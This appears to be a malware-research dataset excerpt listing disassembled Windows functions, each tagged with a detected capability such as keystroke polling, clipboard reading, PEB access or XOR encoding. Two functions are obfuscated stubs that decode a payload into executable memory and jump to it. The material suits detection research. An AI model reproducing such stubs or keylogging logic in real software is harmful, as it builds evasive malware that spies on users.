joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c422c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
sub esp, 0x150
mov eax, dword [0x58213c]
xor eax, esp
mov dword [esp + 0x14c], eax
push ebx
push edi
mov edi, ecx
call fcn.00507720
mov ebx, dword [esp + 0x15c]
lea eax, [ebx - 0x10]
cmp eax, 0x95
ja case.0x4c41c5.19
movzx eax, byte [eax + 0x4c4324]
jmp dword [eax*4 + 0x4c4318]
push 1
mov ecx, edi
call fcn.004e4860
mov ecx, edi
mov bl, al
call fcn.004ff5c0
jmp 0x4c42e8
push 1
mov ecx, edi
call fcn.004e4860
mov ecx, dword [0x5889b4]
or ebx, 0x10000
and ecx, 0xffffff8f
mov byte [esp + 0xb], al
lea eax, [esp + 0xc]
mov dword [esp + 0x10], ecx
push eax
mov ecx, edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], 0
call fcn.004e4660
test al, al
jne 0x4c42fb
cmp byte [esp + 0xb], al
jmp 0x4c42ea
push 1
mov ecx, edi
call fcn.004e4860
push 0
push 0x103
push 0x102
push dword [edi + 0x70]
mov byte [esp + 0x1b], al
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x4c42e4
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
push 2
push ebx
call esi
push 0
push ebx
mov ebp, eax
call esi
mov esi, eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
push 8
lea eax, [esp + 0x44]
xorps xmm0, xmm0
push eax
lea eax, [esp + 0x68]
push eax
push esi
push ebx
movups xmmword [esp + 0x54], xmm0
movups xmmword [esp + 0x64], xmm0
call dword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
je 0x4c42ad
xor edx, edx
mov word [esp + 0x3c], dx
jmp 0x4c42b2
mov dx, word [esp + 0x3c]
mov eax, dword [0x5889b4]
and eax, 0xffffff8f
movzx ecx, bp
mov dword [esp + 0x18], eax
movzx eax, dx
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ecx
mov ecx, edi
push eax
call fcn.004e4660
pop esi
pop ebp
test al, al
jne 0x4c42fb
cmp byte [esp + 0xb], al
jmp 0x4c42ea
mov bl, byte [esp + 0xb]
test bl, bl
jne 0x4c42fb
push 0
call fcn.004d8b40
test eax, eax
jne 0x4c42fb
xor al, al
jmp 0x4c42fd
mov al, 1
mov ecx, dword [esp + 0x154]
pop edi
pop ebx
xor ecx, esp
call fcn.00511b56
add esp, 0x150
ret 4

Function at 0x4d7e80
Capabilities:
Log keystrokes via input method manager

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5438bd
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.IMM32.dll_ImmGetCompositionStringW
mov edi, eax
test edi, edi
jle 0x4d7efe
push 0
mov dword [ebp - 4], 0
call fcn.0051723e
mov eax, edi
shr eax, 1
inc eax
push 2
push eax
call fcn.0051aa01
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x10], esi
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.IMM32.dll_ImmGetCompositionStringW
mov ecx, dword [ebp + 8]
push esi
call fcn.0040be20
push esi
call fcn.0051723e
add esp, 4
jmp 0x4d7f06
mov ecx, dword [ebp + 8]
call fcn.0040c1f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4da1f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x543ae0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
movss xmm0, dword [esi + 0x28]
cmp byte [esi + 0x4d], 0
movss dword [ebp - 0x4c], xmm0
movss xmm0, dword [esi + 0x2c]
setne al
movss dword [ebp - 0x48], xmm0
push dword [ebp - 0x48]
mov byte [ebp - 0x18], al
movzx eax, byte [esi + 0x4c]
push dword [ebp - 0x4c]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x40]
push dword [esi + 0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 0x44]
push dword [ebx + 0xc]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x54]
push eax
call fcn.004a5300
mov eax, dword [esi + 0x38]
movss xmm0, dword [esi + 0x24]
mov edi, dword [esi + 0x3c]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
movss dword [ebp - 0x38], xmm0
movss xmm0, dword [esi + 0x20]
movss dword [ebp - 0x3c], xmm0
push dword [eax + 4]
movss xmm0, dword [esi + 0x1c]
push dword [eax]
movss dword [ebp - 0x40], xmm0
push dword [eax + 0x30]
movss xmm0, dword [esi + 0x18]
lea eax, [ebp - 0x5c]
push dword [ebx + 0xc]
movss dword [ebp - 0x44], xmm0
movss xmm0, dword [esi + 0x14]
mov esi, dword [esi + 0x10]
push eax
movss dword [ebp - 0x48], xmm0
call fcn.004a5300
add esp, 0x28
movss xmm0, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x18]
mov eax, dword [eax + 0x48]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
push edi
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebx + 0xc]
sub esp, 0x14
movss dword [esp + 0x10], xmm0
movss xmm0, dword [ebp - 0x3c]
movss dword [esp + 0xc], xmm0
movss xmm0, dword [ebp - 0x40]
movss dword [esp + 8], xmm0
movss xmm0, dword [ebp - 0x44]
movss dword [esp + 4], xmm0
movss xmm0, dword [ebp - 0x48]
movss dword [esp], xmm0
push esi
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push ecx
mov ecx, esp
mov dword [ecx], eax
mov ecx, dword [ebx + 8]
call fcn.004acdf0
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
Function at 0x4e66e0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x544924
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x5887e4]
test eax, eax
je 0x4e6719
cmp byte [eax + 8], 0
jne 0x4e68d8
call fcn.0042ec70
test eax, eax
je 0x4e672e
mov eax, dword [eax + 4]
nop
test eax, eax
jne 0x4e68d8
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4e68d8
mov eax, dword [ebx + 0x28]
mov eax, dword [eax]
test eax, eax
je 0x4e68d8
mov al, byte [eax + 0x1c]
test al, al
je 0x4e68d8
mov edi, dword [0x588d38]
nop
test edi, edi
jne 0x4e6856
push 0x2c
call fcn.005118c7
mov edi, eax
add esp, 4
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x4e683c
mov ecx, edi
call fcn.0042d3d0
push str.UIAutomationCore.dll
mov byte [ebp - 4], 1
mov dword [edi], vtable.juce::WindowsUIAWrapper.0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.UiaReturnRawElementProvider
push eax
mov dword [edi + 4], eax
call esi
push str.UiaHostProviderFromHwnd
push dword [edi + 4]
mov dword [edi + 8], eax
call esi
push str.UiaRaiseAutomationPropertyChangedEvent
push dword [edi + 4]
mov dword [edi + 0xc], eax
call esi
push str.UiaRaiseAutomationEvent
push dword [edi + 4]
mov dword [edi + 0x10], eax
call esi
push str.UiaClientsAreListening
push dword [edi + 4]
mov dword [edi + 0x14], eax
call esi
push str.UiaDisconnectProvider
push dword [edi + 4]
mov dword [edi + 0x18], eax
call esi
push str.UiaDisconnectAllProviders
push dword [edi + 4]
mov dword [edi + 0x1c], eax
call esi
mov ecx, dword [edi + 8]
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], 0
mov byte [edi + 0x28], 0
test ecx, ecx
je 0x4e683e
cmp dword [edi + 0xc], 0
je 0x4e683e
cmp dword [edi + 0x10], 0
je 0x4e683e
cmp dword [edi + 0x14], 0
je 0x4e683e
cmp dword [edi + 0x18], 0
je 0x4e683e
cmp dword [edi + 0x1c], 0
je 0x4e683e
test eax, eax
je 0x4e683e
push 0
push 0
push 0
push 0
call ecx
jmp 0x4e683e
xor edi, edi
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, 0x588d38
xchg dword [ecx], eax
test edi, edi
je 0x4e68d8
mov dword [ebp - 0x10], 0
mov eax, dword [ebx + 0x28]
lea edx, [ebp - 0x10]
push edx
push 0x558584
mov dword [ebp - 4], 2
mov ecx, dword [eax]
push ecx
mov eax, dword [ecx]
mov dword [ebp - 0x10], 0
call dword [eax]
mov esi, dword [ebp - 0x10]
cmp dword [edi + 0x24], esi
je 0x4e68b3
cmp byte [edi + 0x28], 0
jne 0x4e68b3
mov ecx, dword [ebx + 4]
call fcn.004e1040
mov ecx, dword [edi + 8]
test ecx, ecx
je 0x4e68a9
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call ecx
mov ecx, eax
jmp 0x4e68ab
xor ecx, ecx
mov eax, dword [ebp + 0x14]
mov esi, dword [ebp - 0x10]
mov dword [eax], ecx
mov dword [ebp - 4], 3
test esi, esi
je 0x4e68c4
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4ed1d0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x2c
mov eax, dword [0x58213c]
xor eax, esp
mov dword [esp + 0x28], eax
mov ecx, dword [esp + 0x30]
movzx eax, cx
mov edx, eax
push esi
mov esi, edx
push edi
mov edi, eax
test ecx, 0x10000
jne 0x4ed248
movaps xmm0, xmmword [0x559380]
lea ecx, [esi - 0x20]
add edx, 0xffffff9f
movzx esi, cx
xor eax, eax
mov dword [esp + 0x28], 0xdb005b
cmp dx, 0x19
mov dword [esp + 0x2c], 0xdd005d
mov ecx, edi
movups xmmword [esp + 8], xmm0
cmova esi, ecx
movaps xmm0, xmmword [0x559390]
movups xmmword [esp + 0x18], xmm0
movzx edx, si
cmp dx, word [esp + eax*2 + 8]
jne 0x4ed240
movzx edx, word [esp + eax*2 + 0xa]
add eax, 2
cmp eax, 0x14
jl 0x4ed234
movsx eax, dx
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [esp + 0x30]
pop edi
shr eax, 0xf
pop esi
xor ecx, esp
and al, 1
call fcn.00511b56
add esp, 0x2c
ret

Function at 0x4ee720
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x38
mov eax, dword [0x58213c]
xor eax, esp
mov dword [esp + 0x34], eax
cmp byte [esp + 0x3c], 0
push esi
mov esi, ecx
je 0x4ee810
push 0x73
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
mov eax, dword [0x5889b4]
je 0x4ee75e
mov ecx, eax
and cl, 7
cmp cl, 4
je 0x4ee810
cmp byte [esi + 0x16d], 0
jne 0x4ee7f8
movaps xmm0, xmmword [0x559380]
mov ecx, 0x1b
movups xmmword [esp + 0x10], xmm0
xor eax, eax
mov dword [esp + 0x30], 0xdb005b
movaps xmm0, xmmword [0x559390]
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x34], 0xdd005d
nop word [eax + eax]
cmp cx, word [esp + eax*2 + 0x10]
jne 0x4ee7ac
movzx ecx, word [esp + eax*2 + 0x12]
add eax, 2
cmp eax, 0x14
jl 0x4ee7a0
movsx eax, cx
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x4ee7ce
test byte [0x5889b4], 7
je 0x4ee810
lea ecx, [esp + 4]
mov dword [esp + 4], 0xd
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
call fcn.004ecd80
test al, al
jne 0x4ee810
mov eax, dword [0x5889b4]
shr eax, 1
not al
and al, 1
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.00511b56
add esp, 0x38
ret 4
mov ecx, dword [esp + 0x38]
xor al, al
pop esi
xor ecx, esp
call fcn.00511b56
add esp, 0x38
ret 4
Function at 0x4f8d60
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x545a9e
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], 0
call fcn.00419ef0
lea ecx, [esi + 0x170]
mov dword [esi + 0x1d8], eax
call fcn.0049fee0
cmp byte [esi + 0x160], 0
jne 0x4f8e66
cmp byte [esi + 0x81], 0
jl 0x4f8e66
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x4f8dd5
call fcn.004ece90
test al, al
je 0x4f8e66
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call fcn.0040c1f0
push 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4f8e43
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x4f8e3d
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x4f8e3d
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
shr eax, 1
lea ecx, [ebp - 0x18]
push eax
push ebx
call fcn.0040be40
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e5a0
lea ecx, [ebp - 0x18]
call fcn.0040d480
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 0x10]
cmp byte [eax], 0
je 0x4f8e5e
mov eax, dword [esi + 0x88]
lea ecx, [esi + 0x88]
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x18]
lea ecx, [ebp - 0x10]
call fcn.0040d480
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x507500
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push esi
push edi
mov edi, dword [0x588a10]
mov esi, ecx
test edi, edi
je 0x5075e0
test byte [edi + 0x81], 4
je 0x5075e0
mov eax, edi
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x507530
mov ecx, dword [ecx + 8]
test ecx, ecx
jne 0x50753e
mov eax, dword [eax + 0x18]
test eax, eax
jne 0x507522
call fcn.004d94e0
mov ecx, eax
mov edx, dword [ecx]
lea eax, [esp + 8]
push edi
push eax
call dword [edx + 0x34]
sub esi, 0xffffff80
cmp esi, eax
je 0x507566
mov edx, dword [eax]
mov dword [eax], 0
mov ecx, dword [esi]
mov dword [esi], edx
test ecx, ecx
je 0x507566
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x507574
mov eax, dword [ecx]
push 1
call dword [eax]
mov esi, dword [esi]
test esi, esi
je 0x5075ff
mov eax, dword [esi + 8]
push ebx
test eax, eax
je 0x507598
cmp edi, dword [eax + 8]
je 0x5075fe
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x507598
push esi
call fcn.004fcc40
push edi
lea ecx, [esi + 8]
call fcn.004b0f10
mov eax, dword [esi + 8]
test eax, eax
je 0x5075c8
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x5075b8
push esi
call fcn.004b9cb0
mov eax, dword [esi + 8]
test eax, eax
je 0x5075c8
mov eax, dword [eax + 8]
test eax, eax
je 0x5075c8
mov eax, dword [eax + 0x18]
jmp 0x5075ca
xor eax, eax
push eax
lea ecx, [esi + 0x10]
call fcn.004b0f10
pop ebx
pop edi
mov ecx, esi
pop esi
add esp, 4
jmp fcn.00508220
mov ecx, dword [esi + 0x80]
mov dword [esi + 0x80], 0
test ecx, ecx
je 0x5075ff
mov eax, dword [ecx]
push 1
call dword [eax]
pop edi
pop esi
pop ecx
ret
pop ebx
pop edi
pop esi
pop ecx
ret

Function at 0x507720
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push esi
push edi
push 0x10
call ebp
movzx esi, ax
shr esi, 0xf
push 0x11
and esi, 1
call ebp
shr eax, 0xf
mov edi, esi
or edi, 2
and al, 1
push 0x12
cmove edi, esi
call ebp
shr eax, 0xf
mov ebx, edi
or ebx, 4
and al, 1
push 0xa5
cmove ebx, edi
mov esi, ebx
call ebp
shr eax, 0xf
test al, 1
je 0x50777d
push 0xa3
call ebp
shr eax, 0xf
test al, 1
jne 0x50777d
and esi, 0xfffffffd
or esi, 4
mov eax, dword [0x5889b4]
pop edi
and eax, 0x70
or eax, esi
pop esi
pop ebp
mov dword [0x5889b4], eax
pop ebx
ret

Function at 0x5081e0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov ecx, ebx
and ecx, 1
mov eax, ebx
shl ecx, 4
mov edx, ecx
or edx, 0x20
and al, 2
mov eax, dword [0x5889b4]
cmove edx, ecx
and eax, 0xffffff8f
mov ecx, edx
or ecx, 0x40
and bl, 0x10
pop ebx
cmove ecx, edx
or ecx, eax
mov dword [0x5889b4], ecx
jmp fcn.00507720
Function at 0x50bdd0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x546b93
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x58213c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0040a790
lea eax, [esi + 0x18]
mov dword [ebp - 4], 0
lea ecx, [edi + 0x18]
push eax
call fcn.0040a790
movzx eax, word [esi + 0x30]
lea ecx, [edi + 0x40]
mov word [edi + 0x30], ax
movzx eax, word [esi + 0x32]
mov word [edi + 0x32], ax
mov eax, dword [esi + 0x34]
mov dword [edi + 0x34], eax
mov eax, dword [esi + 0x38]
mov dword [edi + 0x38], eax
mov eax, dword [esi + 0x3c]
mov dword [edi + 0x3c], eax
lea eax, [esi + 0x40]
push eax
mov byte [ebp - 4], 1
call fcn.0050bbc0
lea eax, [esi + 0x4c]
mov byte [ebp - 4], 2
push eax
lea ecx, [edi + 0x4c]
call fcn.0040a790
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x531b95
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00531a0b
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x405a12
pop dword [ebp - 0x4c]
mov eax, 0x6ff949ae
add eax, 0x90471064
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x68c7fb54
add dword [ebp - 0x5c], 0xe58a49f7
mov dword [ebp - 0x58], 0x67fac197
sub dword [ebp - 0x58], 0x35c77552
mov dword [ebp - 0x54], 0xf8c6d225
add dword [ebp - 0x54], 0x53857209
mov dword [ebp - 0x50], 0x79528c06
add dword [ebp - 0x50], 0x86ad73fa
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x309bcee3
add dword [ebp - 0x5c], 0x43d69a73
mov dword [ebp - 0x58], 0x719542cd
add dword [ebp - 0x58], 0xcfd71ea8
mov dword [ebp - 0x54], 0x2fd8a3c7
add dword [ebp - 0x54], 0x3396c8a5
mov dword [ebp - 0x50], 0xbdaac9ce
sub dword [ebp - 0x50], 0xbdaac9ce
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x71bae530
sub eax, 0x717a6430
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x39488
push 0
call eax
mov ecx, 0x2a76253a
add ecx, 0xd58a2bfc
xor edi, edi
add edi, eax
mov edx, 0x46e400
add edx, dword [ebp - 0x4c]
mov esi, 0xbc9e683f
sub esi, 0x5be806e7
mov ebx, dword [edx]
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 0x10], eax
add edi, 0xd4fdb149
sub edi, 0xd4fdb145
add edx, 0x6e1e8ecc
sub edx, 0x6e1e8ec8
loop 0x405b2b
add eax, 0xf546f606
sub eax, 0xf545be5b
mov ebx, eax
add eax, 5
mov ecx, 0x2a29637e
sub ecx, 0x29e9637e
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x1001aee9
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x100d0db4
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100dbeac
mov dword [esi + 8], 0x100d97c0
mov dword [esi + 0xc], eax
mov dword [ebp - 4], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x60], eax
push fcn.1000b96d
push 0x1001b0f6
push 6
lea eax, [esi + 0x160]
push 8
push eax
mov byte [ebp - 4], 7
call fcn.1006aa92
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dbe78
mov dword [esi + 4], 0x100dbe5c
mov dword [esi + 8], 0x100dbe4c
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x100248ea
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
push esi
mov ecx, dword [esp + 8]
lea esi, [edx + ecx]
cmp edx, esi
je 0x10024919
push edi
movzx edi, byte [edx]
mov ecx, eax
and ecx, 0xff
xor ecx, edi
shr eax, 8
movzx ecx, word [ecx*2 + 0x100f75d0]
xor eax, ecx
inc edx
cmp edx, esi
jne 0x100248f9
pop edi
pop esi
ret 4

Function at 0x10029218
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d1c35
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100d9c7c
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.1000250f
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dd620
mov dword [esi + 4], 0x100dd610
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x1006aa92
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1006aaa1
pop dword [ebp - 0x44]
mov eax, 0x1006aaa1
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x42255
push 0
mov eax, 0x1eea06f5
sub eax, 0xedc76cd
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x26f493cc
sub ecx, 0x26f452a9
mov ebx, eax
mov edi, 0x869cbdf2
sub edi, 0x768a9ff2
add edi, dword [ebp - 0x44]
mov edx, 0x21dbbf3e
sub edx, 0x634a3d0c
xor dword [ebp - 0x3c], ebx
mov esi, dword [edi]
sub dword [ebp - 0x18], 0x1b9f4d9e
sub esi, edx
mov dword [ebx], esi
add dword [ebp - 0x2c], ecx
add ebx, 0xcc510bfd
sub ebx, 0xcc510bf9
add edi, 4
loop 0x1006aafb
add eax, 0xe6eaad72
sub eax, 0xe6e9b613
mov ebx, eax
add eax, 5
mov ecx, 0x7f2119a1
sub ecx, 0x6f2119a1
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x1006eb4f
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x100d627d
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100dbeac
mov dword [esi + 8], 0x100e0910
mov dword [esi + 0xc], eax
mov dword [ebp - 4], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 5
call fcn.1000250f
lea ecx, [esi + 0x5c]
mov byte [ebp - 4], 6
call fcn.100369a3
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100e1d6c
mov dword [esi + 4], 0x100e1d50
mov dword [esi + 8], 0x100e1d40
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret